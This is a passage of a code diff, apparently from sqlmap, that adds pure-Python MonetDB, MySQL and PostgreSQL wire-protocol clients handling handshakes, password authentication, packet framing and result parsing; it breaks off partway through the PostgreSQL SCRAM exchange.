+            break
+    return b"".join(chunks).decode("utf-8", "replace")
+
+def _putblock(sock, text):
+    data = text.encode("utf-8")
+    off = 0
+    while True:
+        chunk = data[off:off + _MAX_BLOCK]
+        off += _MAX_BLOCK
+        last = off >= len(data)
+        try:
+            sock.sendall(struct.pack("<H", (len(chunk) << 1) | (1 if last else 0)) + chunk)
+        except (socket.error, OSError) as ex:
+            raise connection_lost(ex)
+        if last:
+            break
+
+def _challenge_response(challenge, user, password, database):
+    parts = challenge.split(":")
+    if len(parts) < 7 or parts[-1] != "":
+        raise OperationalError("invalid MonetDB challenge")
+    salt, server_type, protocol, hashes = parts[0], parts[1], parts[2], parts[3]
+    if protocol != "9":
+        raise NotSupportedError("only MAPI protocol v9 is supported")
+    if server_type == "merovingian":  # proxy stage: authenticate as merovingian, real creds go to the mserver
+        user, password = "merovingian", ""
+    pwalgo = parts[5]
+    try:
+        password = hashlib.new(pwalgo, password.encode("utf-8")).hexdigest()
+    except ValueError:
+        raise NotSupportedError("unsupported MonetDB password algorithm: %s" % pwalgo)
+    pwhash = None
+    for algo in hashes.split(","):
+        try:
+            h = hashlib.new(algo)
+        except ValueError:
+            continue
+        h.update(password.encode("utf-8"))
+        h.update(salt.encode("utf-8"))
+        pwhash = "{%s}%s" % (algo, h.hexdigest())
+        break
+    if pwhash is None:
+        raise NotSupportedError("no supported MonetDB password hash in: %s" % hashes)
+    return ":".join(["BIG", user, pwhash, "sql", database or ""]) + ":"
+
+def _unquote(value):
+    if value == "NULL":
+        return None
+    if len(value) >= 2 and value[0] == '"' and value[-1] == '"':
+        body = value[1:-1]
+        if "\\" not in body:
+            return body
+        # MonetDB renders control bytes as C octal escapes (\ooo) etc.; decode with unicode_escape but only
+        # on the ASCII runs so raw multibyte (> 0x7f) is preserved (mirrors pymonetdb's result decoding)
+        return "".join(seg.encode("utf-8").decode("unicode_escape") if "\\" in seg else seg
+                       for seg in re.split(r"([\x00-\x7f]+)", body))
+    return value
+
+def _parse_result(text):
+    description, rows = None, []
+    for line in text.split("\n"):
+        if not line:
+            continue
+        marker = line[0]
+        if marker == "!":  # error
+            raise ProgrammingError("(remote) %s" % line[1:].strip())
+        elif marker == "%":  # metadata: "<values> # <kind>"
+            payload, _, kind = line[1:].rpartition("#")
+            if kind.strip() == "name":
+                description = [(name.strip(), None, None, None, None, None, None) for name in payload.split(",\t")]
+        elif marker == "[":  # tuple: "[ v1,\tv2,\t... ]"
+            body = line.strip()
+            if body.startswith("[") and body.endswith("]"):
+                body = body[1:-1].strip()
+            rows.append(tuple(_unquote(v.strip()) for v in body.split(",\t")))
+        # "&" result headers, "#" info, "=" no-slice tuples are ignored for our purposes
+    return description, rows
+
+class Cursor(object):
+    def __init__(self, connection):
+        self.connection = connection
+        self.description = None
+        self.rowcount = -1
+        self._rows = []
+        self._pos = 0
+
+    def execute(self, query, params=None):
+        if params is not None:
+            raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
+        self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
+        self.description, self._rows = self.connection._query(query)
+        self.rowcount = len(self._rows)
+        return self
+
+    def fetchall(self):
+        retVal = self._rows[self._pos:]
+        self._pos = len(self._rows)
+        return retVal
+
+    def fetchone(self):
+        if self._pos >= len(self._rows):
+            return None
+        retVal = self._rows[self._pos]
+        self._pos += 1
+        return retVal
+
+    def close(self):
+        self._rows = []
+
+class Connection(object):
+    def __init__(self, sock):
+        self._sock = sock
+
+    def cursor(self):
+        return Cursor(self)
+
+    def commit(self):
+        pass  # sqlmap runs autonomous statements; MonetDB SQL is auto-committed unless a transaction is opened
+
+    def rollback(self):
+        pass
+
+    def close(self):
+        try:
+            self._sock.close()
+        except Exception:
+            pass
+
+    def _command(self, text):
+        _putblock(self._sock, text)
+        reply = _getblock(self._sock)
+        if reply.startswith("!"):
+            raise OperationalError("(remote) %s" % reply[1:].strip())
+
+    def _query(self, query):
+        try:
+            _putblock(self._sock, "s" + query + ";\n")
+            return _parse_result(_getblock(self._sock))
+        except (socket.error, socket.timeout) as ex:
+            raise OperationalError("connection error: %s" % ex)
+        except (struct.error, IndexError, ValueError) as ex:
+            raise InterfaceError("malformed server response: %s" % ex)
+
+def connect(host=None, port=50000, user=None, password=None, database=None, connect_timeout=None, **kwargs):
+    host, port = host or "localhost", int(port or 50000)
+    try:
+        sock = socket.create_connection((host, port), timeout=connect_timeout)
+        keepalive(sock)
+    except (socket.error, socket.timeout) as ex:
+        raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
+
+    try:
+        for _ in range(10):  # bounded: merovingian proxy stage + optional redirect + mserver challenge
+            block = _getblock(sock)
+            if block == "":  # login accepted
+                break
+            if block[0] == "^":  # redirect
+                url = block[1:].strip()
+                m = re.match(r"mapi:monetdb://([^:/]+):(\d+)/(\S*)", url)
+                if m and (m.group(1) != host or int(m.group(2)) != port):
+                    sock.close()
+                    host, port, database = m.group(1), int(m.group(2)), m.group(3) or database
+                    sock = socket.create_connection((host, port), timeout=connect_timeout)
+                    keepalive(sock)
+                continue  # merovingian proxy redirect: keep reading the next challenge on this socket
+            if block[0] == "!":
+                raise OperationalError("(remote) %s" % block[1:].strip())
+            _putblock(sock, _challenge_response(block, user, password, database))
+        else:
+            raise OperationalError("MonetDB login did not converge")
+    except (OperationalError, NotSupportedError, InterfaceError):
+        try:
+            sock.close()
+        except Exception:
+            pass
+        raise
+    except (socket.error, socket.timeout) as ex:  # I/O error during the login/redirect exchange
+        try:
+            sock.close()
+        except Exception:
+            pass
+        raise OperationalError("connection error: %s" % ex)
+
+    connection = Connection(sock)
+    try:
+        connection._command("Xreply_size -1\n")  # disable row paging so a whole result set is returned at once
+    except (socket.error, socket.timeout) as ex:
+        connection.close()
+        raise OperationalError("connection error: %s" % ex)
+    except Exception:   # e.g. connection_lost() out of _putblock/_getblock: the socket is still ours to close
+        connection.close()
+        raise
+
+    handshake_done(sock)
+    return connection

extra/dbwire/mysql.py

@@ -0,0 +1,372 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+"""
+Minimal pure-python MySQL client/server protocol client (stdlib only).
+
+Covers the whole MySQL-wire family (MySQL, MariaDB, TiDB, Aurora-MySQL, Percona, ...). Auth:
+mysql_native_password (full), plus caching_sha2_password fast path; caching_sha2 *full* auth over a
+plaintext connection needs RSA (not in the stdlib), so that case raises a clean NotSupportedError - use a
+mysql_native_password account (as MariaDB/TiDB default to) for the dependency-free path.
+"""
+
+import hashlib
+import socket
+import struct
+
+from extra.dbwire import DatabaseError
+from extra.dbwire import InterfaceError
+from extra.dbwire import NotSupportedError
+from extra.dbwire import OperationalError
+from extra.dbwire import connection_lost
+from extra.dbwire import handshake_done
+from extra.dbwire import keepalive
+from extra.dbwire import recvn
+from extra.dbwire import ProgrammingError
+
+# capability flags
+_CLIENT_LONG_PASSWORD = 0x00000001
+_CLIENT_LONG_FLAG = 0x00000004
+_CLIENT_CONNECT_WITH_DB = 0x00000008
+_CLIENT_PROTOCOL_41 = 0x00000200
+_CLIENT_TRANSACTIONS = 0x00002000
+_CLIENT_SECURE_CONNECTION = 0x00008000
+_CLIENT_PLUGIN_AUTH = 0x00080000
+
+_MAX_PACKET = 0x1000000
+_MAX_MESSAGE_LENGTH = 0x40000000  # cap on a (re-assembled) payload, to bound a hostile/corrupt stream
+_BINARY_CHARSET = 63              # collation id 63 == 'binary'
+# field types for which charset==63 genuinely denotes raw bytes (BLOB/BINARY/VARBINARY/GEOMETRY family).
+# Numeric & temporal columns ALSO report charset 63 in the text protocol, but carry their ASCII text form -
+# they must be decoded, not returned as bytes (else -d hexifies e.g. the int 12345 to '3132333435').
+_BINARY_TYPES = frozenset((15, 249, 250, 251, 252, 253, 254, 255))  # VARCHAR,*BLOB,VAR_STRING,STRING,GEOMETRY
+_TYPE_BIT = 16  # BIT reports charset 63 but is decoded to a big-endian integer (matches SQLAlchemy/mysql-connector)
+
+def _xor(a, b):
+    if str is bytes:  # Python 2
+        return b"".join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b))
+    return bytes(x ^ y for x, y in zip(a, b))
+
+def _u8(data, off):
+    return struct.unpack("<B", data[off:off + 1])[0]
+
+def _u16(data, off):
+    return struct.unpack("<H", data[off:off + 2])[0]
+
+def _cstring(data, off):
+    # NUL-terminated string, tolerant of a missing terminator (returns the remainder)
+    end = data.find(b"\x00", off)
+    if end == -1:
+        return data[off:], len(data)
+    return data[off:end], end + 1
+
+def _read_packet(sock):
+    header = recvn(sock, 4)
+    length = struct.unpack("<I", header[0:3] + b"\x00")[0]
+    seq = _u8(header, 3)
+    payload = recvn(sock, length)
+    total = length
+    while length == 0xffffff:  # payload continues in the next packet
+        header = recvn(sock, 4)
+        length = struct.unpack("<I", header[0:3] + b"\x00")[0]
+        total += length
+        if total > _MAX_MESSAGE_LENGTH:
+            raise InterfaceError("backend message too large (%d bytes)" % total)
+        payload += recvn(sock, length)
+    return seq, payload
+
+def _send_packet(sock, seq, payload):
+    while True:  # split payloads >= 16 MB into 0xffffff-sized packets (with a trailing short packet)
+        chunk = payload[:0xffffff]
+        try:
+            sock.sendall(struct.pack("<I", len(chunk))[0:3] + struct.pack("<B", seq & 0xff) + chunk)
+        except (socket.error, OSError) as ex:
+            raise connection_lost(ex)
+        seq = (seq + 1) & 0xff
+        payload = payload[0xffffff:]
+        if len(chunk) < 0xffffff:
+            break
+
+def _lenc_int(data, off):
+    first = _u8(data, off)
+    if first < 0xfb:
+        return first, off + 1
+    elif first == 0xfb:
+        return None, off + 1  # NULL (in a row)
+    elif first == 0xfc:
+        return struct.unpack("<H", data[off + 1:off + 3])[0], off + 3
+    elif first == 0xfd:
+        return struct.unpack("<I", data[off + 1:off + 4] + b"\x00")[0], off + 4
+    else:  # 0xfe
+        return struct.unpack("<Q", data[off + 1:off + 9])[0], off + 9
+
+def _lenc_str(data, off):
+    length, off = _lenc_int(data, off)
+    if length is None:
+        return None, off
+    if off + length > len(data):
+        raise InterfaceError("length-encoded string overruns packet")
+    return data[off:off + length], off + length
+
+def _err_message(payload):
+    # ERR packet: 0xff, Int2 code, (if PROTOCOL_41) '#' + 5-byte SQLSTATE, then message
+    off = 3
+    if payload[3:4] == b"#":
+        off = 9
+    return payload[off:].decode("utf-8", "replace")
+
+def _bit_int(value):
+    n = 0  # BIT arrives as a big-endian byte string
+    for b in bytearray(value):
+        n = (n << 8) | b
+    return n
+
+def _scramble_native(password, salt):
+    if not password:
+        return b""
+    stage1 = hashlib.sha1(password.encode("utf-8")).digest()
+    stage2 = hashlib.sha1(stage1).digest()
+    return _xor(stage1, hashlib.sha1(salt + stage2).digest())
+
+def _scramble_sha2(password, salt):
+    if not password:
+        return b""
+    d1 = hashlib.sha256(password.encode("utf-8")).digest()
+    d2 = hashlib.sha256(hashlib.sha256(d1).digest() + salt).digest()
+    return _xor(d1, d2)
+
+class Cursor(object):
+    def __init__(self, connection):
+        self.connection = connection
+        self.description = None
+        self.rowcount = -1
+        self._rows = []
+        self._pos = 0
+
+    def execute(self, query, params=None):
+        if params is not None:
+            raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
+        self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
+        self.description, self._rows, self.rowcount = self.connection._query(query)
+        return self
+
+    def fetchall(self):
+        retVal = self._rows[self._pos:]
+        self._pos = len(self._rows)
+        return retVal
+
+    def fetchone(self):
+        if self._pos >= len(self._rows):
+            return None
+        retVal = self._rows[self._pos]
+        self._pos += 1
+        return retVal
+
+    def close(self):
+        self._rows = []
+
+class Connection(object):
+    def __init__(self, sock):
+        self._sock = sock
+
+    def cursor(self):
+        return Cursor(self)
+
+    def commit(self):
+        pass  # autocommit is enabled right after connect(), matching sqlmap's autonomous-statement model
+
+    def rollback(self):
+        pass
+
+    def close(self):
+        try:
+            _send_packet(self._sock, 0, b"\x01")  # COM_QUIT
+        except Exception:
+            pass
+        try:
+            self._sock.close()
+        except Exception:
+            pass
+
+    def _query(self, query):
+        _send_packet(self._sock, 0, b"\x03" + query.encode("utf-8"))  # COM_QUERY
+        try:
+            return self._read_query_response()
+        except (struct.error, IndexError, ValueError) as ex:
+            raise InterfaceError("malformed server response: %s" % ex)
+
+    def _read_query_response(self):
+        seq, payload = _read_packet(self._sock)
+        first = _u8(payload, 0)
+
+        if first == 0xff:  # ERR
+            raise ProgrammingError("(remote) %s" % _err_message(payload))
+        if first == 0x00 or (first == 0xfe and len(payload) < 9):  # OK packet (no result set)
+            affected, _ = _lenc_int(payload, 1)
+            return None, [], (affected if affected is not None else -1)
+        if first == 0xfb:  # LOCAL INFILE request
+            raise NotSupportedError("LOCAL INFILE is not supported")
+
+        column_count, _ = _lenc_int(payload, 0)
+        description, binary = [], []
+        for _ in range(column_count):
+            _, cpay = _read_packet(self._sock)
+            off = 0
+            for _ in range(4):  # catalog, schema, table, org_table
+                _, off = _lenc_str(cpay, off)
+            name, off = _lenc_str(cpay, off)          # name
+            _, off = _lenc_str(cpay, off)             # org_name
+            _, off = _lenc_int(cpay, off)             # length of the fixed-length block (0x0c)
+            charset = struct.unpack("<H", cpay[off:off + 2])[0]
+            col_type = _u8(cpay, off + 6)             # fixed block: charset(2) column_length(4) type(1) flags(2) ...
+            description.append((name.decode("utf-8", "replace"), col_type, None, None, None, None, None))
+            binary.append(charset == _BINARY_CHARSET and col_type in _BINARY_TYPES)
+
+        _read_packet(self._sock)  # EOF after the column definitions
+
+        rows = []
+        while True:
+            _, payload = _read_packet(self._sock)
+            if _u8(payload, 0) == 0xfe and len(payload) < 9:  # EOF -> end of rows
+                break
+            if _u8(payload, 0) == 0xff:
+                raise ProgrammingError("(remote) %s" % _err_message(payload))
+            off, row = 0, []
+            for i in range(column_count):
+                value, off = _lenc_str(payload, off)
+                if value is None:
+                    row.append(None)
+                elif description[i][1] == _TYPE_BIT:
+                    row.append(str(_bit_int(value)))  # big-endian integer, e.g. b'\x2a' -> '42'
+                elif binary[i]:
+                    row.append(value)  # keep binary/BLOB columns as raw bytes (sqlmap hex-encodes them)
+                else:
+                    row.append(value.decode("utf-8", "replace"))
+            rows.append(tuple(row))
+        return description, rows, len(rows)
+
+def _finish_auth(sock, password, plugin, salt):
+    # read the auth result, handling AuthSwitchRequest (0xfe) and AuthMoreData (0x01) for caching_sha2
+    while True:
+        seq, payload = _read_packet(sock)
+        marker = _u8(payload, 0)
+        if marker == 0x00:  # OK
+            return
+        if marker == 0xff:  # ERR
+            raise OperationalError("(remote) %s" % _err_message(payload))
+        if marker == 0xfe:  # AuthSwitchRequest: <plugin name>\x00<salt>
+            plugin, off = _cstring(payload, 1)
+            plugin = plugin.decode("ascii", "replace")
+            salt = payload[off:].rstrip(b"\x00")
+            if plugin == "mysql_native_password":
+                data = _scramble_native(password, salt)
+            elif plugin == "caching_sha2_password":
+                data = _scramble_sha2(password, salt)
+            else:
+                raise NotSupportedError("unsupported authentication plugin '%s'" % plugin)
+            _send_packet(sock, seq + 1, data)
+        elif marker == 0x01:  # AuthMoreData (caching_sha2)
+            status = _u8(payload, 1)
+            if status == 0x03:  # fast auth success -> OK packet follows
+                continue
+            elif status == 0x04:  # full auth required (needs TLS or RSA - not available stdlib-only)
+                raise NotSupportedError("caching_sha2_password full authentication over a plaintext connection "
+                                        "requires RSA/TLS; use a mysql_native_password account for the dependency-free client")
+            else:
+                raise OperationalError("unexpected caching_sha2 auth status %d" % status)
+        else:
+            raise InterfaceError("unexpected authentication response 0x%02x" % marker)
+
+def connect(host=None, port=3306, user=None, password=None, database=None, connect_timeout=None, **kwargs):
+    try:
+        sock = socket.create_connection((host or "localhost", int(port or 3306)), timeout=connect_timeout)
+        keepalive(sock)
+    except (socket.error, socket.timeout) as ex:
+        raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
+
+    try:
+        seq, payload = _read_packet(sock)
+        if _u8(payload, 0) == 0xff:
+            raise OperationalError("(remote) %s" % _err_message(payload))
+
+        off = 1                                         # protocol version (10)
+        _, off = _cstring(payload, off)                 # server version
+        off += 4                                        # connection id
+        salt = payload[off:off + 8]; off += 8 + 1       # auth-plugin-data part 1 (+ filler)
+        server_caps = _u16(payload, off); off += 2      # capability flags (lower)
+        off += 1                                        # character set
+        off += 2                                        # status flags
+        server_caps |= _u16(payload, off) << 16; off += 2   # capability flags (upper)
+        auth_data_len = _u8(payload, off); off += 1
+        off += 10                                       # reserved
+        salt += payload[off:off + max(13, auth_data_len - 8) - 1]  # part 2 (drop trailing NUL)
+        off += max(13, auth_data_len - 8)
+        plugin = "mysql_native_password"
+        if off < len(payload):
+            name, _ = _cstring(payload, off)
+            plugin = name.decode("ascii", "replace") or plugin
+
+        if plugin == "caching_sha2_password":
+            auth_response = _scramble_sha2(password or "", salt)
+        else:
+            plugin = "mysql_native_password"
+            auth_response = _scramble_native(password or "", salt)
+
+        # capabilities are NEGOTIATED: each side advertises what it can do and only the intersection is in
+        # play. Sending a fixed set makes the client claim features a proxy/fork/older server never offered,
+        # which is how a handshake ends up desynchronized rather than cleanly refused.
+        if not (server_caps & _CLIENT_PROTOCOL_41):
+            raise OperationalError("server does not support the 4.1 protocol, which this client requires")
+        wanted = (_CLIENT_LONG_PASSWORD | _CLIENT_LONG_FLAG | _CLIENT_PROTOCOL_41 |
+                  _CLIENT_TRANSACTIONS | _CLIENT_SECURE_CONNECTION | _CLIENT_PLUGIN_AUTH)
+        if database:
+            wanted |= _CLIENT_CONNECT_WITH_DB
+        flags = wanted & server_caps
+        flags |= _CLIENT_PROTOCOL_41 | _CLIENT_SECURE_CONNECTION     # mandatory for the packets built below
+        if database and not (flags & _CLIENT_CONNECT_WITH_DB):
+            raise OperationalError("server does not support selecting a database during the handshake")
+        if not (flags & _CLIENT_PLUGIN_AUTH):
+            plugin = None       # pre-4.1.1 style: no trailing plugin name in the handshake response
+        response = struct.pack("<I", flags) + struct.pack("<I", _MAX_PACKET) + struct.pack("<B", 45) + (b"\x00" * 23)
+        response += (user or "").encode("utf-8") + b"\x00"
+        response += struct.pack("<B", len(auth_response)) + auth_response
+        if database:
+            response += database.encode("utf-8") + b"\x00"
+        if plugin:
+            response += plugin.encode("ascii") + b"\x00"
+        _send_packet(sock, seq + 1, response)
+
+        _finish_auth(sock, password or "", plugin or "mysql_native_password", salt)
+        handshake_done(sock)
+    except (DatabaseError, InterfaceError):
+        _safe_close(sock)
+        raise
+    except Exception as ex:
+        _safe_close(sock)
+        raise OperationalError("handshake failed (%s)" % ex)
+
+    connection = Connection(sock)
+    # SET NAMES: reset collation_connection to the server's default (the fixed handshake collation 45 =
+    # utf8mb4_general_ci otherwise clashes with MySQL 8's utf8mb4_0900_ai_ci columns -> 'illegal mix of
+    # collations' 1271 in a UNION/CONCAT); results stay utf8mb4 so the utf-8 decode is unchanged. autocommit=1
+    # so DML persists even if the server default is autocommit=0. Best-effort (one-time, at connect) - but the
+    # charset has to land on *something*, else rows decode as utf-8 that never was: pre-5.5.3 servers have no
+    # utf8mb4, and 'utf8' (3-byte) is the fallback every 4.1+ server does have.
+    for alternatives in (("SET NAMES utf8mb4", "SET NAMES utf8"), ("SET autocommit=1",)):
+        for setup in alternatives:
+            try:
+                connection._query(setup)
+                break
+            except Exception:
+                pass
+    return connection
+
+def _safe_close(sock):
+    try:
+        sock.close()
+    except Exception:
+        pass

extra/dbwire/postgres.py

@@ -0,0 +1,331 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+"""
+Minimal pure-python PostgreSQL frontend/backend protocol v3 client (stdlib only).
+
+Covers the whole PostgreSQL-wire family (PostgreSQL, CockroachDB, CrateDB, Redshift, Greenplum, Vertica).
+Auth: trust / cleartext / MD5 / SCRAM-SHA-256 (modern default). Uses the *simple query* protocol, whose
+per-message implicit transaction auto-commits - so it is immune to the aborted-transaction poisoning and
+commit-before-fetch pitfalls that bite the stateful native drivers. Binary (bytea) values arrive as the
+server's readable '\\xHEX' text (text result format), so no memoryview/blob corruption either.
+"""
+
+import base64
+import binascii
+import hashlib
+import hmac
+import os
+import socket
+import struct
+
+from extra.dbwire import DataError
+from extra.dbwire import IntegrityError
+from extra.dbwire import InterfaceError
+from extra.dbwire import NotSupportedError
+from extra.dbwire import OperationalError
+from extra.dbwire import connection_lost
+from extra.dbwire import handshake_done
+from extra.dbwire import keepalive
+from extra.dbwire import recvn
+from extra.dbwire import ProgrammingError
+
+_PROTOCOL_VERSION = 196608  # 3.0
+_MAX_MESSAGE_LENGTH = 0x40000000  # 1 GB - guard against a hostile/corrupt length triggering an unbounded read
+_OID_BYTEA = 17  # bytea arrives as the server's text form; decode to bytes so it hexes like the native driver
+
+def _decode_bytea(raw):
+    # PG text output: modern 'hex' = b'\\x<hexdigits>'; legacy 'escape' = octal \ooo + literal bytes
+    if raw[:2] == b"\\x":
+        try:
+            return binascii.unhexlify(raw[2:])
+        except (binascii.Error, ValueError):
+            return raw.decode("utf-8", "replace")
+    src, out, i, n = bytearray(raw), bytearray(), 0, len(raw)
+    while i < n:
+        if src[i] == 0x5c and i + 1 < n:  # backslash
+            nxt = src[i + 1]
+            if nxt == 0x5c:
+                out.append(0x5c); i += 2
+            elif 0x30 <= nxt <= 0x37 and i + 3 < n:  # \ooo octal
+                out.append(((nxt - 48) << 6) | ((src[i + 2] - 48) << 3) | (src[i + 3] - 48)); i += 4
+            else:
+                out.append(nxt); i += 2
+        else:
+            out.append(src[i]); i += 1
+    return bytes(out)
+
+# SQLSTATE class (first 2 chars) -> DB-API exception, so callers can distinguish (mirrors psycopg2)
+_SQLSTATE_CLASS = {
+    "22": DataError, "23": IntegrityError,
+    "08": OperationalError, "28": OperationalError, "53": OperationalError,
+    "57": OperationalError, "58": OperationalError,
+}
+
+def _xor(a, b):
+    # byte-wise XOR of two equal-length byte strings (Python 2 and 3 safe)
+    if str is bytes:  # Python 2: iterating bytes yields 1-char strings
+        return b"".join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b))
+    return bytes(x ^ y for x, y in zip(a, b))
+
+def _read_message(sock):
+    mtype = recvn(sock, 1)
+    (length,) = struct.unpack("!I", recvn(sock, 4))
+    if length < 4 or length > _MAX_MESSAGE_LENGTH:
+        raise InterfaceError("invalid backend message length (%d)" % length)
+    return mtype, recvn(sock, length - 4)
+
+def _send(sock, mtype, payload):
+    try:
+        sock.sendall((mtype or b"") + struct.pack("!I", len(payload) + 4) + payload)
+    except (socket.error, OSError) as ex:
+        raise connection_lost(ex)
+
+def _error_message(payload):
+    # ErrorResponse/NoticeResponse: series of (byte field-code, cstring value), terminated by a NUL byte.
+    # Returns (human message, SQLSTATE). Tolerant of a truncated/unterminated stream (find() not index()).
+    fields, off = {}, 0
+    while off < len(payload) and payload[off:off + 1] != b"\x00":
+        code = payload[off:off + 1]
+        end = payload.find(b"\x00", off + 1)
+        if end == -1:
+            break
+        fields[code] = payload[off + 1:end].decode("utf-8", "replace")
+        off = end + 1
+    return fields.get(b"M", "unknown error"), fields.get(b"C", "")
+
+def _raise_server_error(message, sqlstate):
+    raise _SQLSTATE_CLASS.get((sqlstate or "")[:2], ProgrammingError)("(remote) %s" % message)
+
+class Cursor(object):
+    def __init__(self, connection):
+        self.connection = connection
+        self.description = None
+        self.rowcount = -1
+        self._rows = []
+        self._pos = 0
+
+    def execute(self, query, params=None):
+        if params is not None:
+            raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
+        self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0  # reset before (a failed) query
+        self.description, self._rows, self._pos, self.rowcount = self.connection._simple_query(query)
+        return self
+
+    def fetchall(self):
+        retVal = self._rows[self._pos:]
+        self._pos = len(self._rows)
+        return retVal
+
+    def fetchone(self):
+        if self._pos >= len(self._rows):
+            return None
+        retVal = self._rows[self._pos]
+        self._pos += 1
+        return retVal
+
+    def close(self):
+        self._rows = []
+
+class Connection(object):
+    def __init__(self, sock):
+        self._sock = sock
+        self._txn_status = b"I"  # last ReadyForQuery transaction status: I(dle) / T(ransaction) / E(rror)
+
+    def cursor(self):
+        return Cursor(self)
+
+    def commit(self):
+        pass  # simple-query protocol commits each statement implicitly
+
+    def rollback(self):
+        pass
+
+    def close(self):
+        try:
+            _send(self._sock, b"X", b"")  # Terminate
+        except Exception:
+            pass
+        try:
+            self._sock.close()
+        except Exception:
+            pass
+
+    def _clear_aborted(self):
+        # a prior statement left an aborted transaction block ('E'): every further statement errors with
+        # 25P02 until it is rolled back. Clear it so the reused connection recovers (psycopg2 rollback semantics).
+        _send(self._sock, b"Q", b"ROLLBACK\x00")
+        while True:
+            mtype, payload = _read_message(self._sock)
+            if mtype == b"Z":
+                self._txn_status = payload[:1] or b"I"
+                break
+
+    def _simple_query(self, query):
+        if self._txn_status == b"E":
+            self._clear_aborted()
+        _send(self._sock, b"Q", query.encode("utf-8") + b"\x00")
+
+        description, rows, rowcount, error = None, [], -1, None
+        while True:
+            mtype, payload = _read_message(self._sock)
+            try:
+                if mtype == b"T":  # RowDescription (a new result set: reset rows so we return only the last one)
+                    (count,) = struct.unpack("!H", payload[:2])
+                    description, rows, rowcount, off = [], [], -1, 2
+                    for _ in range(count):
+                        end = payload.index(b"\x00", off)
+                        name = payload[off:end].decode("utf-8", "replace")
+                        off = end + 1
+                        (typeoid,) = struct.unpack("!I", payload[off + 6:off + 10])
+                        off += 18  # tableoid4 colno2 typeoid4 typelen2 typmod4 format2
+                        description.append((name, typeoid, None, None, None, None, None))
+                elif mtype == b"D":  # DataRow
+                    (count,) = struct.unpack("!H", payload[:2])
+                    off, row = 2, []
+                    for col in range(count):
+                        (vlen,) = struct.unpack("!i", payload[off:off + 4])
+                        off += 4
+                        if vlen == -1:
+                            row.append(None)
+                        else:
+                            if off + vlen > len(payload):
+                                raise InterfaceError("truncated DataRow")
+                            raw = payload[off:off + vlen]
+                            off += vlen
+                            if description and col < len(description) and description[col][1] == _OID_BYTEA:
+                                row.append(_decode_bytea(raw))  # bytes so sqlmap hex-encodes it (like the native driver)
+                            else:
+                                try:
+                                    row.append(raw.decode("utf-8"))
+                                except UnicodeDecodeError:
+                                    row.append(raw)  # non-UTF-8 (e.g. a SQL_ASCII db): keep bytes (hex-encoded), not lossy U+FFFD
+                    rows.append(tuple(row))
+                elif mtype == b"C":  # CommandComplete ("SELECT 3", "INSERT 0 1", ...)
+                    tag = payload[:-1].decode("utf-8", "replace").split()
+                    if tag and tag[-1].isdigit():
+                        rowcount = int(tag[-1])
+                elif mtype == b"G":  # CopyInResponse - server now waits for client CopyData; refuse to avoid a deadlock
+                    _send(self._sock, b"f", b"COPY FROM STDIN is not supported\x00")  # CopyFail
+                elif mtype == b"E":  # ErrorResponse
+                    error = _error_message(payload)
+                elif mtype == b"Z":  # ReadyForQuery (end of response); payload byte = transaction status
+                    self._txn_status = payload[:1] or b"I"
+                    break
+                # ParameterStatus(S)/NoticeResponse(N)/EmptyQueryResponse(I)/CopyData(d)/CopyDone(c)/... ignored
+            except (struct.error, IndexError, ValueError) as ex:
+                raise InterfaceError("malformed backend message: %s" % ex)
+        if error is not None:
+            _raise_server_error(*error)
+        return description, rows, 0, rowcount
+
+def _authenticate(sock, user, password):
+    client_nonce = cfirst_bare = salted = auth_message = None
+    while True:
+        mtype, payload = _read_message(sock)
+        if mtype in (b"N", b"S"):  # NoticeResponse / ParameterStatus may legally precede AuthenticationOk
+            continue
+        if mtype == b"E":
+            _raise_server_error_as_operational(payload)
+        if mtype != b"R":
+            raise InterfaceError("unexpected message %r during authentication" % mtype)
+        (code,) = struct.unpack("!I", payload[:4])
+        if code == 0:  # AuthenticationOk (also the trust case)
+            return
+        elif code == 3:  # cleartext password
+            _send(sock, b"p", (password or "").encode("utf-8") + b"\x00")
+        elif code == 5:  # MD5 password
+            salt = payload[4:8]
+            inner = hashlib.md5((password or "").encode("utf-8") + (user or "").encode("utf-8")).hexdigest()
+            token = b"md5" + hashlib.md5(inner.encode("ascii") + salt).hexdigest().encode("ascii")
+            _send(sock, b"p", token + b"\x00")
+        elif code == 10:  # SASL (SCRAM-SHA-256)
+            if not hasattr(hashlib, "pbkdf2_hmac"):
+                raise NotSupportedError("SCRAM-SHA-256 authentication requires Python >= 2.7.8 (hashlib.pbkdf2_hmac)")
+            client_nonce = base64.b64encode(os.urandom(18)).decode("ascii")
+            cfirst_bare = "n=,r=%s" % client_nonce
+            client_first = "n,," + cfirst_bare
+            _send(sock, b"p", b"SCRAM-SHA-256\x00" + struct.pack("!I", len(client_first)) + client_first.encode("ascii"))
+        elif code == 11:  # SASLContinue (server-first)
+            try:
+                server_first = payload[4:].decode("ascii")
+                attrs = dict(kv.split("=", 1) for kv in server_first.split(","))
+                snonce, salt, iterations = attrs["r"], base64.b64decode(attrs["s"]), int(attrs["i"])
+            except (KeyError, ValueError, binascii.Error, UnicodeDecodeError) as ex:
+                raise OperationalError("malformed SCRAM server-first message (%s)" % ex)
+            # RFC 5802 5.1: the server nonce MUST start with the client nonce and MUST add material of its
+            # own. Skipping this lets anything that can answer the TCP connection replay a recorded
+            # server-first and drive the exchange - and dbwire has no TLS layer underneath to catch it.
+            if not client_nonce or not snonce.startswith(client_nonce) or len(snonce) <= len(client_nonce):
+                raise OperationalError("SCRAM server nonce does not extend the client nonce (rogue server?)")
+            if iterations < 4096:   # RFC 5802 recommends >= 4096; a tiny count cheapens an offline attack
+                raise OperationalError("SCRAM iteration count %d is too low" % iterations)
+            salted = hashlib.pbkdf2_hmac("sha256", (password or "").encode("utf-8"), salt, iterations)
+            client_key = hmac.new(salted, b"Client Key", hashlib.sha256).digest()
+            stored_key = hashlib.sha256(client_key).digest()
